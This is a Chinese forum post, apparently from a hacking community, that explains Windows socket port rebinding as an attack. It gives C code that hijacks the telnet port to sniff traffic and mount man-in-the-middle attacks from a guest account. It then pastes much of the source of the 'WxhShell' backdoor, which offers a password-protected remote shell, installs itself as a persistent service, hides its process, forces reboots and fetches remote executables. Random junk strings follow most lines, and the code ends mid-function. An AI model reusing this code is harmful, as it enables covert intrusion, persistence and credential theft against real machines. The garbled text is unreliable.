社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9457阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y%9S4be  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b#0y-bR  
Dt,b\6  
  saddr.sin_family = AF_INET; 1Sox@Ko  
BcaMeb-Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m7X&"0X  
BCB"& :}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0wZ_;FN*-  
hNB;29r~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i:`ur  
<{@?c  
  这意味着什么?意味着可以进行如下的攻击: :+ksmyW  
[\CQ_qs|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z qX  U  
7|3Qcn7P)@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lv@JfN"O  
Mw!?2G[|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &T?>Kx  
vQ=W<>1   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  evf){XhT;n  
:kSA^w8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AfKJa DKf  
b u%p,u!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v 1Yf:c  
y XZZ)i_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  FRI<A8  
<{m!.9g9  
  #include E> Ukxi1  
  #include .!0),KmkK  
  #include {:40Jf  
  #include    #(3w6 l2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S!8eY `C.  
  int main() +U&aK dQs  
  { ?cr;u~-=  
  WORD wVersionRequested; Ous[{"-J  
  DWORD ret; %)*!(%\S*3  
  WSADATA wsaData; I_.(&hMn  
  BOOL val; STu!v5XY}-  
  SOCKADDR_IN saddr; !%J;dOcU  
  SOCKADDR_IN scaddr; e/lfT?J\  
  int err; YIb5jK `  
  SOCKET s; r=4'6!  
  SOCKET sc;  ])}{GW  
  int caddsize;  WwbE xn<  
  HANDLE mt; wl^bvHG  
  DWORD tid;   t,= ta{ a  
  wVersionRequested = MAKEWORD( 2, 2 ); aKS 2p3   
  err = WSAStartup( wVersionRequested, &wsaData ); 'p-jMD}O  
  if ( err != 0 ) { `,H\j?  
  printf("error!WSAStartup failed!\n"); w=d#y )1  
  return -1; '#xxjhF^  
  } {YWj`K  
  saddr.sin_family = AF_INET; 4][m!dsU  
   ,e( |,u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;YNN)P%"  
K"VphKvR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AuUT 'E@E  
  saddr.sin_port = htons(23); X}p#9^%N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,kuJWaUC@  
  { [&t3xC,  
  printf("error!socket failed!\n"); 2G:)27Q-  
  return -1; <(`dU&&%"}  
  } }$#e&&)n  
  val = TRUE; +oBf\!{cW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UevbLt1Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *D #H-]9  
  { P 482D)  
  printf("error!setsockopt failed!\n"); VYTdK"%  
  return -1; !I]fNTv<  
  } :Gqyj_|<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D/:~# )  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H`]nY`HYg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m'Z233Nt"  
~6.AE/ow  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G%S=K2 v  
  { \D?6_ ,O  
  ret=GetLastError(); r!V#@Md  
  printf("error!bind failed!\n"); yxQxc5/X)  
  return -1; 1c~c_Cc4  
  } l*uNi47|  
  listen(s,2); }cgEC-  
  while(1) 3ag*dBbs  
  { NSHWs%Zc  
  caddsize = sizeof(scaddr); Gv>,Ad ka  
  //接受连接请求 $5r[YdnY<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :-.R*W  
  if(sc!=INVALID_SOCKET) 'Fo*h6=  
  { 4pV.R5:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &|iFhf[o  
  if(mt==NULL) sn_]7d+ Q  
  { `j0T[Pi  
  printf("Thread Creat Failed!\n"); %/~6Qq  
  break; kLR4?tX!  
  } 6AqHzeh  
  } \ lP c,8)  
  CloseHandle(mt); =#^%; 66z  
  } ;nji<  
  closesocket(s); x?KgEcnw2X  
  WSACleanup(); c 6}d{B[  
  return 0; oaHg6PT!  
  }   x8.7])?w  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fj"g CBaR  
  { UA>~xJp=  
  SOCKET ss = (SOCKET)lpParam; ) I 4d_]&  
  SOCKET sc; n*CH,fih:  
  unsigned char buf[4096]; ,IA0n79  
  SOCKADDR_IN saddr; L-^vlP)Vu  
  long num; =`xk|86f  
  DWORD val; i]Lt8DiRq  
  DWORD ret; WfBA5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2uZ <q?=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m'KY;C  
  saddr.sin_family = AF_INET; (u@[}!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^6#FqK+{u  
  saddr.sin_port = htons(23); \2U^y4K.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iUi{)xa2  
  { Z6!MX_ep  
  printf("error!socket failed!\n"); w}G2m)(  
  return -1; :t?9$ dL  
  } mwZesSxB_  
  val = 100; Z%D*2wm4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a~Sf~ka  
  { x|_%R v  
  ret = GetLastError(); }+nC}A"BC  
  return -1; Ow wH 45  
  } Oq(_I b)9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }.3F|H  
  { K0@2>nR  
  ret = GetLastError(); AEX]_1TG  
  return -1; sD1L P  
  } ^uW](2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _K )B  
  { ;/N[tO?Q  
  printf("error!socket connect failed!\n"); ;tf1 #6{  
  closesocket(sc); k sJz44  
  closesocket(ss); -TU7GCb=  
  return -1; n <6}  
  } -9~kp'_a  
  while(1) KM g`O3_16  
  { v!E0/ gD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fa=#S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )UI$ s"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a^'1o9  
  num = recv(ss,buf,4096,0); 6`]R)i]  
  if(num>0) 9U>ID{  
  send(sc,buf,num,0); =   
  else if(num==0) YPDc /  
  break; W,`u5gbT  
  num = recv(sc,buf,4096,0); F 71  
  if(num>0) >-r\]/^  
  send(ss,buf,num,0); 9bPQD{Qb  
  else if(num==0) 1.o-2:]E  
  break; ?g}n$%*5y!  
  } >@[`,  
  closesocket(ss); AU}lKq7%  
  closesocket(sc); JS642T  
  return 0 ; s24-X1d(9  
  } hQ i[7r($8  
yc+#LZ~(a  
yv 9~  
========================================================== |H2{%!  
+e)So+.W  
下边附上一个代码,,WXhSHELL HPCzh  
LXVm0IOFF  
========================================================== pco~Z{n  
K)]7e?:Wu  
#include "stdafx.h" ;8 JJ#ED  
/R''R:j  
#include <stdio.h> vPR1 TMi>  
#include <string.h> 0'Tq W9P  
#include <windows.h> mbsdiab#N  
#include <winsock2.h> j$Vv'on  
#include <winsvc.h> h76#HUBr!  
#include <urlmon.h> Oe'Nn250  
oZ& ns!#  
#pragma comment (lib, "Ws2_32.lib") b5_A*-s$M  
#pragma comment (lib, "urlmon.lib") [])M2_  
la8se=^  
#define MAX_USER   100 // 最大客户端连接数 YZ7rs] A  
#define BUF_SOCK   200 // sock buffer ;J2U5Y NO  
#define KEY_BUFF   255 // 输入 buffer (gNI6;P;}  
 k1L GT&  
#define REBOOT     0   // 重启  s+[_5n~  
#define SHUTDOWN   1   // 关机 x]euNa  
(iP,F]  
#define DEF_PORT   5000 // 监听端口 kNI m90,g  
 elWN-~  
#define REG_LEN     16   // 注册表键长度 8q)2 )p  
#define SVC_LEN     80   // NT服务名长度 itm;,Sbg  
Q[i;I bY  
// 从dll定义API FMwT4]y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |^S[Gr w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x-nwo:OA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Umv_{n`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `tVBV :4\  
Xr :"8FT  
// wxhshell配置信息 t}cj8DC!  
struct WSCFG { R=i$*6}a  
  int ws_port;         // 监听端口 N,(@k[uta  
  char ws_passstr[REG_LEN]; // 口令 yZb@  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3_fLaf A  
  char ws_regname[REG_LEN]; // 注册表键名 dDi 1{s  
  char ws_svcname[REG_LEN]; // 服务名 [dk|lkj@u\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jS5e"LMIq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ? Q.Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >%qGK-_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UldKlQ8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (^qcX;-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $B}(5D a  
sG}}a}U1  
}; PX?tD:,[-  
-3wg9uZ &  
// default Wxhshell configuration ,PJl32  
struct WSCFG wscfg={DEF_PORT, i/C#fIB2  
    "xuhuanlingzhe", pJ+>qy5  
    1, 0K7-i+\#  
    "Wxhshell", Lg9]kpOpa  
    "Wxhshell", d;D^<-[i  
            "WxhShell Service", cn<9!2a  
    "Wrsky Windows CmdShell Service", .NCQiQ  
    "Please Input Your Password: ", HZ[&ZNTa  
  1, ^nkwT~Bya  
  "http://www.wrsky.com/wxhshell.exe", {4}Sl^kn*  
  "Wxhshell.exe" |8`}yRsQ  
    }; m1\>v?=K  
-<ZzYQk^h  
// 消息定义模块  P/nXY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DMfC(w.d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; at7/KuY!~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ai#EFo+#  
char *msg_ws_ext="\n\rExit."; lCd^|E  
char *msg_ws_end="\n\rQuit."; tSYeZ~  
char *msg_ws_boot="\n\rReboot..."; _32ltnBX  
char *msg_ws_poff="\n\rShutdown..."; 5mER&SX  
char *msg_ws_down="\n\rSave to "; ; wW6x  
o|^0DYb  
char *msg_ws_err="\n\rErr!"; kZUuRB~om  
char *msg_ws_ok="\n\rOK!"; 8y|(]5 'r  
tE>3.0U0Q  
char ExeFile[MAX_PATH]; d[TcA2nF  
int nUser = 0; FuEHO6nx  
HANDLE handles[MAX_USER]; `+"QhQ4 w  
int OsIsNt; s Uj#:X  
f}Uw%S=w,  
SERVICE_STATUS       serviceStatus; dr'6N1B@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <6v7_  
3vrQY9H>  
// 函数声明 2"BlV *\lS  
int Install(void); FAPgXmFzx  
int Uninstall(void); Qf=%%5+?8  
int DownloadFile(char *sURL, SOCKET wsh); p,kJ#I  
int Boot(int flag); fF-V=Zf5  
void HideProc(void); !p0FJ].g,  
int GetOsVer(void); Z>CFH9  
int Wxhshell(SOCKET wsl); BOh&Db*  
void TalkWithClient(void *cs); )>TA|W]@  
int CmdShell(SOCKET sock); hrS/3c'<Z  
int StartFromService(void); Kl+*Sp!  
int StartWxhshell(LPSTR lpCmdLine); jj.]R+.G  
z,2m7C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l#Qf8*0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v'_tna6`O  
 ISq^V  
// 数据结构和表定义 ?.4.Ubc\  
SERVICE_TABLE_ENTRY DispatchTable[] = PN\2 ^@>_  
{ Q{$2D&  
{wscfg.ws_svcname, NTServiceMain}, J+.t \R  
{NULL, NULL} L` Qiu@  
}; 8nZPY)o  
F"0 tv$  
// 自我安装 jkD5Z`D  
int Install(void) { ET+V  
{ i uN8gHx  
  char svExeFile[MAX_PATH]; kkd<CEz2IM  
  HKEY key; 'i`;Frmg  
  strcpy(svExeFile,ExeFile); .6/[X` *  
$6Ty~.RP5H  
// 如果是win9x系统,修改注册表设为自启动 9$)4C|  
if(!OsIsNt) { i<@|+*>M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W cqYpPv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'lfW{E1t  
  RegCloseKey(key); 3J:!8Gmk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h|jsi*4NnL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DrB=   
  RegCloseKey(key); uvm=i .  
  return 0; ,:;_j<g`e  
    } X1" `0r3  
  } q@^=im  
} A4SM@ry  
else { 7H./o Vl  
0}w>8L7i{  
// 如果是NT以上系统,安装为系统服务 UY|nB hL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y> 7/>x6  
if (schSCManager!=0) f+F /`P%  
{ A\ LTAp(I  
  SC_HANDLE schService = CreateService "lUw{3  
  ( K_}vmB\2l  
  schSCManager, B04Br~hel*  
  wscfg.ws_svcname, |EF*]qI  
  wscfg.ws_svcdisp, D5U\~'{L  
  SERVICE_ALL_ACCESS, KDCq::P<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O'j;"l~H|  
  SERVICE_AUTO_START, lRentNg0b  
  SERVICE_ERROR_NORMAL, OcIJT1  
  svExeFile, ZpWG  
  NULL,  |\,e9U>  
  NULL, T}fo:aB}  
  NULL, lN^L#m*@  
  NULL, ;O.U-s  
  NULL s%p(_pB  
  ); Jzfz y0$  
  if (schService!=0) FK+jfr [  
  { PUucYc  
  CloseServiceHandle(schService); =f{r+'[;^  
  CloseServiceHandle(schSCManager); ^i@tOtS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {{giSW'  
  strcat(svExeFile,wscfg.ws_svcname); ))Aj X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _H%ylAt1j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GyT{p#l  
  RegCloseKey(key); V4xZC\)Gk  
  return 0; b vUYLWzS  
    } {n |Ra[9_  
  } ]D(%Ku,O%  
  CloseServiceHandle(schSCManager); g.&&=T  
} l |\Q~ D!o  
} 8[xb+_  
[UFLL:_sC  
return 1; lE%0ifu  
} `MEH/  
g+)T\_#u  
// 自我卸载 1Te: &d  
int Uninstall(void) [@.%6aD  
{ V#5BZU-  
  HKEY key; !3d +"tL S  
+&Sf$t 1  
if(!OsIsNt) { iB[%5i-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .4.zy]I  
  RegDeleteValue(key,wscfg.ws_regname); |A}E/=HPU  
  RegCloseKey(key); `2Ff2D ^ ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !.x(lOqf  
  RegDeleteValue(key,wscfg.ws_regname); eK4\v:oG1  
  RegCloseKey(key); IO|">a6  
  return 0; A1Rt  
  } ; l+3l ez  
} ^!N_Nx/M  
} `<C)oF\~f  
else { V$<og  
f; >DM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j$Gb> Ex>  
if (schSCManager!=0) 0|P RCq  
{ |cUlXg=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !<@k\~9^D  
  if (schService!=0) (&+ ~hW5d  
  { sf7'8+wj>  
  if(DeleteService(schService)!=0) { CzST~*lH  
  CloseServiceHandle(schService); >*{\N^:z  
  CloseServiceHandle(schSCManager); l`fjz-eE  
  return 0; U!^\DocAY  
  } ^|-xmUC  
  CloseServiceHandle(schService); ki=-0G*]  
  } l 0jjLqm:  
  CloseServiceHandle(schSCManager); #Ubzh`v  
} uFL~^vz  
} _U%!&_m6  
uZ\ >  
return 1; lMFj"x\  
} L]9uY  
ld$LG6[PA  
// 从指定url下载文件 F=$2Gz 'RT  
int DownloadFile(char *sURL, SOCKET wsh) D />REC^  
{ j*rra  
  HRESULT hr; v-2.OS<o  
char seps[]= "/"; wT3QS J  
char *token; _:?)2NV  
char *file; %}x/ fq  
char myURL[MAX_PATH]; $xa#+  
char myFILE[MAX_PATH]; G*3O5m  
G6]M~:<i  
strcpy(myURL,sURL); q --NLm@;  
  token=strtok(myURL,seps); &5)Kg%r  
  while(token!=NULL) uhbo/7d'7  
  { 0^?(;AK  
    file=token; #Kn=Q  
  token=strtok(NULL,seps); e(O"V3wq*6  
  } IM7k\  
,a~- (@  
GetCurrentDirectory(MAX_PATH,myFILE); ,A h QA  
strcat(myFILE, "\\"); S%R:GZEf_  
strcat(myFILE, file); GGo nA  
  send(wsh,myFILE,strlen(myFILE),0); & 2& K9R  
send(wsh,"...",3,0); d_-{-@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [^A93F  
  if(hr==S_OK) q{[}*%  
return 0; p>96>7w  
else X0* y8"  
return 1; _6;T /_R=  
K!lGo3n]  
} s,\!@[N  
#E3Y; b%v  
// 系统电源模块 MR:Co4(  
int Boot(int flag) 9(dbou  
{ 24}r;=U  
  HANDLE hToken; #5-0R7\d7  
  TOKEN_PRIVILEGES tkp; @f-0OX$*  
5Y"JRWC  
  if(OsIsNt) { =q.2S; ?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SuMK=^>%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,ic.b @u1  
    tkp.PrivilegeCount = 1; ~ T|?!zML  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~3dBt@%0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U{"&Jj  
if(flag==REBOOT) { 4(B{-cK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ratg!l|'-  
  return 0; 3+;]dqZ  
} nzmv>s&UW  
else { hR Y *WL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,9^wKS!7$  
  return 0; oC#@9>+@+"  
} {0WLY@7 2?  
  } a.L ?J  
  else { Xhe25  
if(flag==REBOOT) { V/j+Z1ZW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E)|fKds  
  return 0; IKb 7#Ut  
} v4kk4}lE  
else { [~,~ e   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ):E4qlB  
  return 0; |XzqP +t  
} *`YR-+0  
} O:"gJ4D  
~rN~Ql%S  
return 1; `So*\#\T  
} @5K/z<p%  
5K|1Y#X  
// win9x进程隐藏模块 yf(VwU, x  
void HideProc(void) J b Hn/$  
{ Gt{~u^<  
N%'=el4L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _[zO?Div[  
  if ( hKernel != NULL ) PXz,[<ET?#  
  { D|} y{~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rb\M63q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n,SDJsS^  
    FreeLibrary(hKernel); 8*V^DM3n-  
  } %|bqL3)a_  
,d'x]&a  
return; ]f=108|8  
} M^DYzJ  
jk,: IG  
// 获取操作系统版本 ;0(|06=  
int GetOsVer(void) 9IZ}}x  
{ V6)\;c  
  OSVERSIONINFO winfo; | z=:D*uh~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3Z;`n,g  
  GetVersionEx(&winfo); xhLVLXZ9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tYK 5?d  
  return 1; JJ[.K*dO  
  else |pqc(B u  
  return 0; MX2 Zm  
} Cg^=&1 |  
MgyV {`  
// 客户端句柄模块 `2Rd=M]?  
int Wxhshell(SOCKET wsl) EUevR/S  
{ Y4 q;  
  SOCKET wsh; b"n0Yk1  
  struct sockaddr_in client; 1Ys6CJ#  
  DWORD myID; yU]NgG=z:-  
HfEU[p7)  
  while(nUser<MAX_USER) N# $ob 9  
{ {?yZdL:m)  
  int nSize=sizeof(client); aGY R:jR$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l0N~mes  
  if(wsh==INVALID_SOCKET) return 1; 2>3#/I9Y  
{2QCdj46  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <=2\xJfxB  
if(handles[nUser]==0) CR3<9=Lv>  
  closesocket(wsh); ErmlM#u  
else %" kF i  
  nUser++; \2F{r<A\@  
  } "X<vgM^:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +ve S~   
r$<-2lW  
  return 0; ! f!/~M"!  
} 2H+!78  
eW%Cef  
// 关闭 socket W>$2BsO  
void CloseIt(SOCKET wsh) KU:RS+,e;  
{ KWwEK]   
closesocket(wsh); U4`6S43ki  
nUser--; rD ^ b{]E3  
ExitThread(0); ;\1/4;m  
} oihn`DY {  
kF{'?R5 w  
// 客户端请求句柄 vl1`s ^}R  
void TalkWithClient(void *cs) i"0]L5=P  
{ }XHB7,  
J)7m::%I  
  SOCKET wsh=(SOCKET)cs; =zaf{0c  
  char pwd[SVC_LEN]; .tRp  
  char cmd[KEY_BUFF]; vlW521  
char chr[1]; (.r9bl  
int i,j; :@x_& b  
e'"2yA8dh"  
  while (nUser < MAX_USER) { 7nsn8WN[  
5pC+*n.  
if(wscfg.ws_passstr) { NJ%>|`FEi7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sn>2dRW{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tNk.|}  
  //ZeroMemory(pwd,KEY_BUFF); YCMXF#1  
      i=0; \ B \G=Y  
  while(i<SVC_LEN) { b({K6#?'[  
0Wd2Z-I  
  // 设置超时 )-jA4!&  
  fd_set FdRead; +)J;4B  
  struct timeval TimeOut; &7-ENg9 [  
  FD_ZERO(&FdRead); dUvgFOy|P  
  FD_SET(wsh,&FdRead); 3haR/Y N  
  TimeOut.tv_sec=8; ab-z 7g  
  TimeOut.tv_usec=0;  ,>C`|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W{@,DQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .<fn+]  
Fy6(N{hql  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -!bfxbP  
  pwd=chr[0]; Xh5&J9pw   
  if(chr[0]==0xd || chr[0]==0xa) { ]?un'$%e  
  pwd=0; )I{~Pcq  
  break; jV 'u*2&9  
  } :abpht  
  i++; - f&m4J} E  
    } " J4?Sb<  
XJSI/jpa@  
  // 如果是非法用户,关闭 socket JLz.lk*.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  9M]%h  
} #{8t ?v l  
7QX p\<7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Dq@(Q s'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S Bo i|  
&_1x-@oI2:  
while(1) { fD* ?JzVY  
AqZ()p*z  
  ZeroMemory(cmd,KEY_BUFF); Z@ dS,M*  
L> \/%x>Wx  
      // 自动支持客户端 telnet标准   dxa[9>V  
  j=0; s +Q'\?  
  while(j<KEY_BUFF) { -)pVgf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XS_Ib\-50  
  cmd[j]=chr[0]; Z~{0x#?4%  
  if(chr[0]==0xa || chr[0]==0xd) { M>rertUR  
  cmd[j]=0; cx_$`H  
  break; JY0}#FtgV  
  } DQy;W  ov  
  j++; ba "_ !D1  
    } .a_xQ]eQ  
( L 8V)1N  
  // 下载文件 +eVm+4WK  
  if(strstr(cmd,"http://")) { @|;XDO`k;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2tMa4L%@C  
  if(DownloadFile(cmd,wsh)) &eIwlynm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:0nj!^4w>  
  else p9Y`_g`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4IPd  
  } !4"<:tSO  
  else {  q +*>T=k  
Sd?+j;/"  
    switch(cmd[0]) { qG8-UOUDt  
  @sG5Do  
  // 帮助 'Im&&uSkr  
  case '?': { ;yDXo\gm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [W--%=Ou  
    break; 'l41];_  
  } |W;EPQ+<  
  // 安装 NB .&J7v  
  case 'i': { Zoyo:vv&  
    if(Install()) 8 huB<^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q@ %9Y3  
    else _/RP3"#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >vk?wY^f  
    break; nTH!_S>b(Y  
    } qp`G5bw  
  // 卸载 1+NmiGKg  
  case 'r': { &k0c|q]  
    if(Uninstall()) E?^A+)<"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]M.)N.T  
    else pNzpT!}H>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]zR,Y= #  
    break; ~8^)[n+)x  
    } % ovk}}%;  
  // 显示 wxhshell 所在路径 tX.{+yyU  
  case 'p': {  i'NN  
    char svExeFile[MAX_PATH]; *l\vqgv.Z  
    strcpy(svExeFile,"\n\r"); ?Ulc`-d  
      strcat(svExeFile,ExeFile); ^bckl tSo  
        send(wsh,svExeFile,strlen(svExeFile),0); G8ksm2}  
    break; +H8;*uZ|k,  
    } C@q&0\HN  
  // 重启 ,O}2LaK.O  
  case 'b': { * S>,5R0k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MB] Y|Vee  
    if(Boot(REBOOT)) uH?lj&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L}N,6gC4_  
    else { Le':b2o  
    closesocket(wsh); kzcD}?mSS  
